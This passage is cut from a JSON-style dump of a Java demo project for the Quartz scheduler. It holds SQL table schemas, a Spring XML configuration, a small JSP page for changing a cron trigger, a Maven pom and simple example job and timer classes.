QRTZ_TRIGGERS(TRIGGER_NAME,TRIGGER_GROUP) \n); \n\nCREATE TABLE QRTZ_BLOB_TRIGGERS \n( \nTRIGGER_NAME VARCHAR(200) NOT NULL, \nTRIGGER_GROUP VARCHAR(200) NOT NULL, \nBLOB_DATA BLOB NULL, \nPRIMARY KEY (TRIGGER_NAME,TRIGGER_GROUP), \nFOREIGN KEY (TRIGGER_NAME,TRIGGER_GROUP) \nREFERENCES QRTZ_TRIGGERS(TRIGGER_NAME,TRIGGER_GROUP) \n); \n\nCREATE TABLE QRTZ_TRIGGER_LISTENERS \n( \nTRIGGER_NAME VARCHAR(200) NOT NULL, \nTRIGGER_GROUP VARCHAR(200) NOT NULL, \nTRIGGER_LISTENER VARCHAR(200) NOT NULL, \nPRIMARY KEY (TRIGGER_NAME,TRIGGER_GROUP,TRIGGER_LISTENER), \nFOREIGN KEY (TRIGGER_NAME,TRIGGER_GROUP) \nREFERENCES QRTZ_TRIGGERS(TRIGGER_NAME,TRIGGER_GROUP) \n); \n\n\nCREATE TABLE QRTZ_CALENDARS \n( \nCALENDAR_NAME VARCHAR(200) NOT NULL, \nCALENDAR BLOB NOT NULL, \nPRIMARY KEY (CALENDAR_NAME) \n); \n\n\n\nCREATE TABLE QRTZ_PAUSED_TRIGGER_GRPS \n( \nTRIGGER_GROUP VARCHAR(200) NOT NULL, \nPRIMARY KEY (TRIGGER_GROUP) \n); \n\nCREATE TABLE QRTZ_FIRED_TRIGGERS \n( \nENTRY_ID VARCHAR(95) NOT NULL, \nTRIGGER_NAME VARCHAR(200) NOT NULL, \nTRIGGER_GROUP VARCHAR(200) NOT NULL, \nIS_VOLATILE VARCHAR(1) NOT NULL, \nINSTANCE_NAME VARCHAR(200) NOT NULL, \nFIRED_TIME BIGINT(13) NOT NULL, \nPRIORITY INTEGER NOT NULL, \nSTATE VARCHAR(16) NOT NULL, \nJOB_NAME VARCHAR(200) NULL, \nJOB_GROUP VARCHAR(200) NULL, \nIS_STATEFUL VARCHAR(1) NULL, \nREQUESTS_RECOVERY VARCHAR(1) NULL, \nPRIMARY KEY (ENTRY_ID) \n); \n\nCREATE TABLE QRTZ_SCHEDULER_STATE \n( \nINSTANCE_NAME VARCHAR(200) NOT NULL, \nLAST_CHECKIN_TIME BIGINT(13) NOT NULL, \nCHECKIN_INTERVAL BIGINT(13) NOT NULL, \nPRIMARY KEY (INSTANCE_NAME) \n); \n\nCREATE TABLE QRTZ_LOCKS \n( \nLOCK_NAME VARCHAR(40) NOT NULL, \nPRIMARY KEY (LOCK_NAME) \n);"
  },
  {
    "path": "jun_java_plugins/jun_quartz/doc/db/sqlserver_db.sql",
    "content": "CREATE TABLE QRTZ_BLOB_TRIGGERS(\n[TRIGGER_NAME] [varchar](200) NOT NULL,\n[TRIGGER_GROUP] [varchar](200) NOT NULL,\n[BLOB_DATA] [image] NULL\n)\n\nCREATE TABLE QRTZ_CALENDARS(\n[CALENDAR_NAME] [varchar](200) NOT NULL,\n[CALENDAR] [image] NOT NULL\n)\n\n\n\n\nCREATE TABLE QRTZ_CRON_TRIGGERS(\n[TRIGGER_NAME] [varchar](200) NOT NULL,\n[TRIGGER_GROUP] [varchar](200) NOT NULL,\n[CRON_EXPRESSION] [varchar](120) NOT NULL,\n[TIME_ZONE_ID] [varchar](80) NULL\n)\n\n\nCREATE TABLE QRTZ_FIRED_TRIGGERS(\n[ENTRY_ID] [varchar](95) NOT NULL,\n[TRIGGER_NAME] [varchar](200) NOT NULL,\n[TRIGGER_GROUP] [varchar](200) NOT NULL,\n[IS_VOLATILE] [varchar](1) NOT NULL,\n[INSTANCE_NAME] [varchar](200) NOT NULL,\n[FIRED_TIME] [bigint] NOT NULL,\n[PRIORITY] [int] NOT NULL,\n[STATE] [varchar](16) NOT NULL,\n[JOB_NAME] [varchar](200) NULL,\n[JOB_GROUP] [varchar](200) NULL,\n[IS_STATEFUL] [varchar](1) NULL,\n[REQUESTS_RECOVERY] [varchar](1) NULL\n)\n\nCREATE TABLE QRTZ_JOB_DETAILS(\n[JOB_NAME] [varchar](200) NOT NULL,\n[JOB_GROUP] [varchar](200) NOT NULL,\n[DESCRIPTION] [varchar](250) NULL,\n[JOB_CLASS_NAME] [varchar](250) NOT NULL,\n[IS_DURABLE] [varchar](1) NOT NULL,\n[IS_VOLATILE] [varchar](1) NOT NULL,\n[IS_STATEFUL] [varchar](1) NOT NULL,\n[REQUESTS_RECOVERY] [varchar](1) NOT NULL,\n[JOB_DATA] [image] NULL\n)\n\nCREATE TABLE QRTZ_JOB_LISTENERS(\n[JOB_NAME] [varchar](200) NOT NULL,\n[JOB_GROUP] [varchar](200) NOT NULL,\n[JOB_LISTENER] [varchar](200) NOT NULL\n)\n\nCREATE TABLE QRTZ_LOCKS(\n[LOCK_NAME] [varchar](40) NOT NULL\n)\n\nCREATE TABLE QRTZ_PAUSED_TRIGGER_GRPS(\n[TRIGGER_GROUP] [varchar](200) NOT NULL\n)\n\nCREATE TABLE QRTZ_SCHEDULER_STATE(\n[INSTANCE_NAME] [varchar](200) NOT NULL,\n[LAST_CHECKIN_TIME] [bigint] NOT NULL,\n[CHECKIN_INTERVAL] [bigint] NOT NULL\n) \n\nCREATE TABLE QRTZ_SIMPLE_TRIGGERS(\n[TRIGGER_NAME] [varchar](200) NOT NULL,\n[TRIGGER_GROUP] [varchar](200) NOT NULL,\n[REPEAT_COUNT] [bigint] NOT NULL,\n[REPEAT_INTERVAL] [bigint] NOT NULL,\n[TIMES_TRIGGERED] [bigint] NOT NULL\n)\n\nCREATE TABLE QRTZ_TRIGGER_LISTENERS(\n[TRIGGER_NAME] [varchar](200) NOT NULL,\n[TRIGGER_GROUP] [varchar](200) NOT NULL,\n[TRIGGER_LISTENER] [varchar](200) NOT NULL\n)\n\nCREATE TABLE QRTZ_TRIGGERS(\n[TRIGGER_NAME] [varchar](200) NOT NULL,\n[TRIGGER_GROUP] [varchar](200) NOT NULL,\n[JOB_NAME] [varchar](200) NOT NULL,\n[JOB_GROUP] [varchar](200) NOT NULL,\n[IS_VOLATILE] [varchar](1) NOT NULL,\n[DESCRIPTION] [varchar](250) NULL,\n[NEXT_FIRE_TIME] [bigint] NULL,\n[PREV_FIRE_TIME] [bigint] NULL,\n[PRIORITY] [int] NULL,\n[TRIGGER_STATE] [varchar](16) NOT NULL,\n[TRIGGER_TYPE] [varchar](8) NOT NULL,\n[START_TIME] [bigint] NOT NULL,\n[END_TIME] [bigint] NULL,\n[CALENDAR_NAME] [varchar](200) NULL,\n[MISFIRE_INSTR] [smallint] NULL,\n[JOB_DATA] [image] NULL\n)"
  },
  {
    "path": "jun_java_plugins/jun_quartz/doc/quartz/service-dataExportImport.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE beans PUBLIC \"-//SPRING//DTD BEAN 2.0//EN\" \"http://www.springframework.org/dtd/spring-beans-2.0.dtd\">\n<beans>\n\t<bean id=\"exportDataDistillService\" parent=\"transactionInterceptor\">\n\t\t<property name=\"target\">\n\t\t\t<bean class=\"com.gtjy.integration.data.service.ExportDataDistillService\">\n\t\t\t\t<property name=\"dataTakeDAO\">\n\t\t\t\t\t<ref bean=\"dataTakeDAO\" />\n\t\t\t\t</property>\n\t\t\t</bean>\n\t\t</property>\n\t</bean>\n\t\n\t<bean id=\"importDataDistillService\" parent=\"transactionInterceptor\">\n\t\t<property name=\"target\">\n\t\t\t<bean class=\"com.gtjy.integration.data.service.ImportDataDistillService\">\n\t\t\t\t<property name=\"dataTakeDAO\">\n\t\t\t\t\t\t<ref bean=\"dataTakeDAO\" />\n\t\t\t\t\t</property>\n\t\t\t</bean>\n\t\t</property>\n\t</bean>\n\t\n\t<bean name=\"dataSyncJob\" class=\"org.springframework.scheduling.quartz.JobDetailBean\">\n\t  <property name=\"jobClass\" value=\"com.gtjy.integration.data.service.DataSyncJob\" />\n\n\t</bean>\t\n\t\t\n\t<bean id=\"dataSyncTrigger\" class=\"org.springframework.scheduling.quartz.CronTriggerBean\">\n\t    <property name=\"jobDetail\" ref=\"dataSyncJob\" />\n\t    <!-- run every morning at 6 AM -->\n\t    <property name=\"cronExpression\" value=\"0 0 2 L 12 ? 2049\" />\n\t</bean>\n\t\t\n\t<bean id=\"schedulerFactoryBean\" class=\"org.springframework.scheduling.quartz.SchedulerFactoryBean\">\n\t    <property name=\"triggers\">\n\t        <list>\n\t            <ref bean=\"dataSyncTrigger\" />\t           \n\t        </list>\n\t    </property>\n\t</bean>\t\n</beans>\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/doc/quartz/test.jsp",
    "content": "<%@ page language=\"java\" import=\"java.util.*\" contentType=\"text/html; charset=UTF-8\" pageEncoding=\"UTF-8\"%>\n<%@page import=\"org.quartz.*\"%>\n<%@page import=\"org.quartz.impl.*\"%>\n<%@page import=\"org.springframework.scheduling.quartz.*\"%>\n<%@page import=\"com.jun.plugin.teamplate.common.*\"%>\n<%@page import=\"java.text.*\"%>\n<%@page import=\"java.util.*\"%>\n\n<%\n\tString cronExpression = request.getParameter(\"cronExpression\");\n\t\n\tCronTriggerBean dataSyncTrigger=(CronTriggerBean)ServiceLocator.getService(\"dataSyncTrigger\");\n\ttry {\n\t\tdataSyncTrigger.setCronExpression(cronExpression);\n\t} catch (ParseException e) {\n\t\te.printStackTrace();\n\t}\t\n\t\n\tStdScheduler scheduler = (StdScheduler)ServiceLocator.getService(\"schedulerFactoryBean\");\n\ttry {\n\t\tscheduler.rescheduleJob(dataSyncTrigger.getName(), scheduler.DEFAULT_GROUP, dataSyncTrigger);\n\t} catch (SchedulerException e) {\n\t\te.printStackTrace();\n\t}\n%>\n\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n\t<title></title>\n\t\n\t\n\t<meta http-equiv=\"pragma\" content=\"no-cache\">\n\t<meta http-equiv=\"cache-control\" content=\"no-cache\">\n\t<meta http-equiv=\"expires\" content=\"0\">\n\n</head>\n\n<body>\n<form action=\"#\">\n\t<%=dataSyncTrigger.getCronExpression()%><input type=\"text\" value=\"\" name=\"cronExpression\">&nbsp;&nbsp; \n\t<input type=\"submit\" value=\"修改\">\n</form>\n</body>\n</html>\n\n<script language=\"javascript\">\n\n</script>\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/doc/quartz/网站地址.txt",
    "content": "http://www.blogjava.net/Unmi/archive/2008/05/25/202700.html"
  },
  {
    "path": "jun_java_plugins/jun_quartz/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_quartz</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<spring.version>5.0.8.RELEASE</spring.version>\n\t\t<jackson.version>1.9.13</jackson.version>\n\t\t<jackson-databind.version>2.5.1</jackson-databind.version>\n\t\t<druid.version>1.0.18</druid.version>\n\n\t\t<junit-version>4.12</junit-version>\n\t\t<java-version>1.8</java-version>\n\t\t<sourceEncoding>UTF-8</sourceEncoding>\n\t\t<slf4j-version>1.7.25</slf4j-version>\n\t\t<log4j-version>2.8.2</log4j-version>\n\t\t<quartz-version>2.2.3</quartz-version>\n\t\t<druid-version>1.1.9</druid-version>\n\t\t<fastjson-version>1.2.17</fastjson-version>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- log -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.6.1</version>\n\t\t</dependency>\n\t\t<!-- spring -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-core</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-expression</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-aop</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-orm</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-web</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-webmvc</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-oxm</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<!-- mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.39</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>${junit-version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.commons</groupId>\n\t\t\t<artifactId>commons-lang3</artifactId>\n\t\t\t<version>3.4</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>commons-collections</groupId>\n\t\t\t<artifactId>commons-collections</artifactId>\n\t\t\t<version>3.2.2</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>druid</artifactId>\n\t\t\t<version>${druid-version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.quartz-scheduler</groupId>\n\t\t\t<artifactId>quartz</artifactId>\n\t\t\t<version>${quartz-version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.quartz-scheduler</groupId>\n\t\t\t<artifactId>quartz-jobs</artifactId>\n\t\t\t<version>${quartz-version}</version>\n\t\t</dependency>\n\n\t\t<!-- 日志 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-core</artifactId>\n\t\t\t<version>${log4j-version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-slf4j-impl</artifactId>\n\t\t\t<version>${log4j-version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-jcl</artifactId>\n\t\t\t<version>${log4j-version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.alibaba</groupId>\n\t\t\t<artifactId>fastjson</artifactId>\n\t\t\t<version>${fastjson-version}</version>\n\t\t</dependency>\n\n\t\t<!-- oracle驱动 -->\n\n\t\t<!-- servlet -->\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>com.oracle</groupId>\n\t\t\t<artifactId>ojdbc6</artifactId>\n\t\t\t<version>11.2.0.3</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context-support</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-jdbc</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-tx</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\n\t\t<!-- test -->\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t</dependencies>\n\n\n\n\t<build>\n\t\t<finalName>jun_quartz</finalName>\n\t</build>\n</project>\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/quartz/DataSyncJob.java",
    "content": "package com.jun.plugin.quartz;\n\nimport java.text.DateFormat;\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\n\nimport org.quartz.JobExecutionContext;\nimport org.quartz.JobExecutionException;\nimport org.springframework.scheduling.quartz.QuartzJobBean;\n\npublic class DataSyncJob extends QuartzJobBean {\n\t\n\t  protected void executeInternal(JobExecutionContext ctx) throws JobExecutionException {\n\t\t  Date now = new java.util.Date(System.currentTimeMillis());\n\t\t  DateFormat df = SimpleDateFormat.getInstance();\n\t      System.out.println(\"定时任务执行：\"+df.format(now));\n\t      \n//\t      CronTriggerBean dataSyncTrigger=(CronTriggerBean)ServiceLocator.getService(\"dataSyncTrigger\");\n//\t\t  try {\n//\t\t\t  System.out.println(\"设定下次执行时间：0 0 17 03 30 ?\");\n//\t\t\t  dataSyncTrigger.setCronExpression(\"0 0 17 03 30 ?\");\n//\t\t  } catch (ParseException e) {\n//\t\t\t  e.printStackTrace();\n//\t\t  }\n\t\t  //dataSyncTrigger.setCronExpression(cronExpression);\n\t  }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/quartz/job/DemoJob.java",
    "content": "package com.jun.plugin.quartz.job;\n\n/**\n * 定时任务实现类\n */\npublic class DemoJob {\n    /**\n     * 定时任务需要依赖的参数\n     */\n    private String jobParam ;\n    private String jobParam1;\n    /**\n     * 定时任务方法\n     */\n    public void jobmethod(){\n        System.out.println(\"execute job method:jobParam=\"+jobParam+\",jobParam1=\"+jobParam);\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/quartz/job/PrintWordsJob.java",
    "content": "package com.jun.plugin.quartz.job;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.Random;\n\nimport org.quartz.Job;\nimport org.quartz.JobExecutionContext;\nimport org.quartz.JobExecutionException;\n\n/**\n * Description: 打印任意内容\n */\npublic class PrintWordsJob implements Job{\n\n    @Override\n    public void execute(JobExecutionContext jobExecutionContext) throws JobExecutionException {\n        String printTime = new SimpleDateFormat(\"yy-MM-dd HH-mm-ss\").format(new Date());\n        System.out.println(\"PrintWordsJob start at:\" + printTime + \", prints: Hello Job-\" + new Random().nextInt(100));\n\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/quartz/quartz/AutoWiringSpringBeanJobFactory.java",
    "content": "/**\n * \n */\npackage com.jun.plugin.quartz.quartz;\n\nimport org.quartz.spi.TriggerFiredBundle;\nimport org.springframework.beans.factory.config.AutowireCapableBeanFactory;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.scheduling.quartz.SpringBeanJobFactory;\n\n/**\n * 配置JobFactory使得QuartzJob可以@Autowired注入spring托管的实例\n * \n * @author Wujun\n * \n * @createdate 2016-08-15 18:46\n * \n * @url http://www.micaifengqing.com\n *\n */\npublic class AutoWiringSpringBeanJobFactory extends SpringBeanJobFactory\n\t\timplements\n\t\t\tApplicationContextAware {\n\n\tprivate transient AutowireCapableBeanFactory beanFactory;\n\t\n\tpublic void setApplicationContext(final ApplicationContext context) {\n\t\tbeanFactory = context.getAutowireCapableBeanFactory();\n\t}\n\t/**\n\t * 这里覆盖了super的createJobInstance方法，对其创建出来的类再进行autowire。\n\t */\n\t@Override\n\tprotected Object createJobInstance(final TriggerFiredBundle bundle)\n\t\t\tthrows Exception {\n\t\tfinal Object job = super.createJobInstance(bundle);\n\t\tbeanFactory.autowireBean(job);\n\t\treturn job;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/quartz/schedule/MyScheduler.java",
    "content": "package com.jun.plugin.quartz.schedule;\n\nimport java.util.concurrent.TimeUnit;\n\nimport org.quartz.JobBuilder;\nimport org.quartz.JobDetail;\nimport org.quartz.Scheduler;\nimport org.quartz.SchedulerException;\nimport org.quartz.SchedulerFactory;\nimport org.quartz.SimpleScheduleBuilder;\nimport org.quartz.Trigger;\nimport org.quartz.TriggerBuilder;\nimport org.quartz.impl.StdSchedulerFactory;\n\nimport com.jun.plugin.quartz.job.PrintWordsJob;\n\npublic class MyScheduler {\n\n    public static void main(String[] args) throws SchedulerException, InterruptedException {\n        // 1、创建调度器Scheduler\n        SchedulerFactory schedulerFactory = new StdSchedulerFactory();\n        Scheduler scheduler = schedulerFactory.getScheduler();\n        // 2、创建JobDetail实例，并与PrintWordsJob类绑定(Job执行内容)\n        JobDetail jobDetail = JobBuilder.newJob(PrintWordsJob.class)\n                                        .withIdentity(\"job1\", \"group1\").build();\n        // 3、构建Trigger实例,每隔1s执行一次\n        Trigger trigger = TriggerBuilder.newTrigger().withIdentity(\"trigger1\", \"triggerGroup1\")\n                .startNow()//立即生效\n                .withSchedule(SimpleScheduleBuilder.simpleSchedule()\n                .withIntervalInSeconds(1)//每隔1s执行一次\n                .repeatForever()).build();//一直执行\n\n        //4、执行\n        scheduler.scheduleJob(jobDetail, trigger);\n        System.out.println(\"--------scheduler start ! ------------\");\n        scheduler.start();\n\n        //睡眠\n        TimeUnit.MINUTES.sleep(1);\n        scheduler.shutdown();\n        System.out.println(\"--------scheduler shutdown ! ------------\");\n\n\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/quartz/schedule/MyScheduler2.java",
    "content": "package com.jun.plugin.quartz.schedule;\n\nimport java.util.Date;\n\nimport org.quartz.CronScheduleBuilder;\nimport org.quartz.CronTrigger;\nimport org.quartz.JobBuilder;\nimport org.quartz.JobDetail;\nimport org.quartz.Scheduler;\nimport org.quartz.SchedulerException;\nimport org.quartz.SchedulerFactory;\nimport org.quartz.TriggerBuilder;\nimport org.quartz.impl.StdSchedulerFactory;\n\nimport com.jun.plugin.quartz.job.PrintWordsJob;\n\npublic class MyScheduler2 {\n    public static void main(String[] args) throws SchedulerException, InterruptedException {\n        // 1、创建调度器Scheduler\n        SchedulerFactory schedulerFactory = new StdSchedulerFactory();\n        Scheduler scheduler = schedulerFactory.getScheduler();\n        // 2、创建JobDetail实例，并与PrintWordsJob类绑定(Job执行内容)\n        JobDetail jobDetail = JobBuilder.newJob(PrintWordsJob.class)\n                .usingJobData(\"jobDetail1\", \"这个Job用来测试的\")\n                .withIdentity(\"job1\", \"group1\").build();\n        // 3、构建Trigger实例,每隔1s执行一次\n        Date startDate = new Date();\n        startDate.setTime(startDate.getTime() + 5000);\n\n        Date endDate = new Date();\n        endDate.setTime(startDate.getTime() + 5000);\n\n        CronTrigger cronTrigger = TriggerBuilder.newTrigger().withIdentity(\"trigger1\", \"triggerGroup1\")\n                .usingJobData(\"trigger1\", \"这是jobDetail1的trigger\")\n                .startNow()//立即生效\n                .startAt(startDate)\n                .endAt(endDate)\n                .withSchedule(CronScheduleBuilder.cronSchedule(\"* 30 10 ? * 1/5 2018\"))\n                .build();\n\n        //4、执行\n        scheduler.scheduleJob(jobDetail, cronTrigger);\n        System.out.println(\"--------scheduler start ! ------------\");\n        scheduler.start();\n        System.out.println(\"--------scheduler shutdown ! ------------\");\n\n    }\n}\n//原文链接：https://blog.csdn.net/noaman_wgs/article/details/80984873"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/quartz/task/TestTask.java",
    "content": "/**\n * \n */\npackage com.jun.plugin.quartz.task;\n\nimport org.quartz.JobExecutionContext;\nimport org.quartz.JobExecutionException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.scheduling.quartz.QuartzJobBean;\nimport org.springframework.stereotype.Component;\n\n/**\n * 被Spring的Quartz JobDetailBean定时执行的Job类, 支持持久化到数据库实现Quartz集群.<br/>\n * \n * 因为需要被持久化,只能在每次调度时从QuartzJobBean注入的applicationContext中动态 取出.<br/>\n * \n * @author Wujun\n * \n * @createdate 2016-08-15 18:46\n * \n * @url http://www.micaifengqing.com\n *\n */\n@Component\npublic class TestTask extends QuartzJobBean {\n\t\n\tprivate final Logger logger = LoggerFactory.getLogger(TestTask.class);\n\t\n\t//这里也可以直接注入你的业务对象进来，例如下面的UserService，里面就可以写你自己的业务了\n\t/*@Autowired\n\tprivate UserService userService;*/\n\n\t@Override\n\tprotected void executeInternal(JobExecutionContext ctx)\n\t\t\tthrows JobExecutionException {\n\t\ttask1();\n\t\ttask2();\n\t}\n\n\t/**\n\t * 任务调度1\n\t */\n\tprivate void task1() {\n\t\tlogger.info(\"----------\" + \"任务调度器1执行开始时间为：\" + System.currentTimeMillis() + \"----------\");\n\t\tlogger.info(\"1111111111111\");\n\t\tlogger.info(\"----------\" + \"任务调度器1执行结束时间为：\" + System.currentTimeMillis() + \"----------\");\n\t}\n\t\n\t/**\n\t * 任务调度2\n\t */\n\tprotected void task2() {\n\t\tlogger.info(\"----------\" + \"任务调度器2执行开始时间为：\" + System.currentTimeMillis() + \"----------\");\n\t\tlogger.info(\"222222222222\");\n\t\tlogger.info(\"----------\" + \"任务调度器2执行结束时间为：\" + System.currentTimeMillis() + \"----------\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/timer/TestTimer.java",
    "content": "package com.jun.plugin.timer;\n\nimport java.util.Timer;\nimport java.util.TimerTask;\n\npublic class TestTimer {\n\tTimer timer;\n\n\tclass ReminderTask extends TimerTask {\n\t\tpublic void run() {\n\t\t\tprint(\"Welcome!\");\n\t\t\ttimer.cancel();\n\t\t}\n\t}\n\t\n\tpublic TestTimer(int seconds) {\n\t\ttimer = new Timer();\n\t\ttimer.schedule(new ReminderTask(), seconds * 1000);\n\t}\n\n\tprivate static void print(String s) {\n\t\tSystem.out.println(s);\n\t}\n\n\tpublic static void main(String args[]) {\n\t\tprint(\"Hello!\");\n\t\tnew TestTimer(3);\n\t\tprint(\"Good!\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/timer/TestTimer2.java",
    "content": "package com.jun.plugin.timer;\n\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.Timer;\nimport java.util.TimerTask;\n\npublic class TestTimer2 {\n\tTimer timer;\n\n\tclass ReminderTask extends TimerTask {\n\t\t@Override\n\t\tpublic void run() {\n\t\t\tprint(\"Welcome!\");\n\t\t\ttimer.cancel();\n\t\t}\n\t}\n\n\tpublic TestTimer2(Date time) {\n\t\ttimer = new Timer();\n\t\ttimer.schedule(new ReminderTask(), time);\n\t}\n\n\tprivate static void print(String s) {\n\t\tSystem.out.println(s);\n\t}\n\n\tpublic static void main(String args[]) {\n\t\tCalendar calender = Calendar.getInstance();\n\t\tcalender.set(Calendar.HOUR_OF_DAY, 11);\n\t\tcalender.set(Calendar.MINUTE, 54);\n\t\tcalender.set(Calendar.SECOND, 00);\n\t\tDate time = calender.getTime();\n\t\t//System.out.println(time);\n\t\tprint(\"Hello!\");\n\t\tnew TestTimer2(time);\n\t\tprint(\"Good!\");\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/java/com/jun/plugin/timer/TestTimer3.java",
    "content": "package com.jun.plugin.timer;\n\nimport java.util.Timer;\nimport java.util.TimerTask;\n\npublic class TestTimer3 {\n\tTimer timer;\n\tint times;\n\tclass RemindTask extends TimerTask {\n\t\tpublic void run() {\n\t\t\tif(times>0){\n\t\t\t\tSystem.out.println(\"Thread Execution!\");\n\t\t\t\ttimes--;\n\t\t\t}else{\n\t\t\t\ttimer.cancel();//结束timertask\n\t\t\t}\n\t\t}\n\t}\n\t\n\tpublic TestTimer3(int firstTime,int period,int times){\n\t\tthis.times = times;\n\t\ttimer = new Timer();\n\t\ttimer.schedule(new RemindTask(), firstTime*1000, period*1000);\n\t}\n\t\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(\"HelloWorld\");\n\t\tnew TestTimer3(5, 3, 4);\n\t\tSystem.out.println(\"WorldHello\");\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_quartz/src/main/resources/applicationContext-quartz.xml",
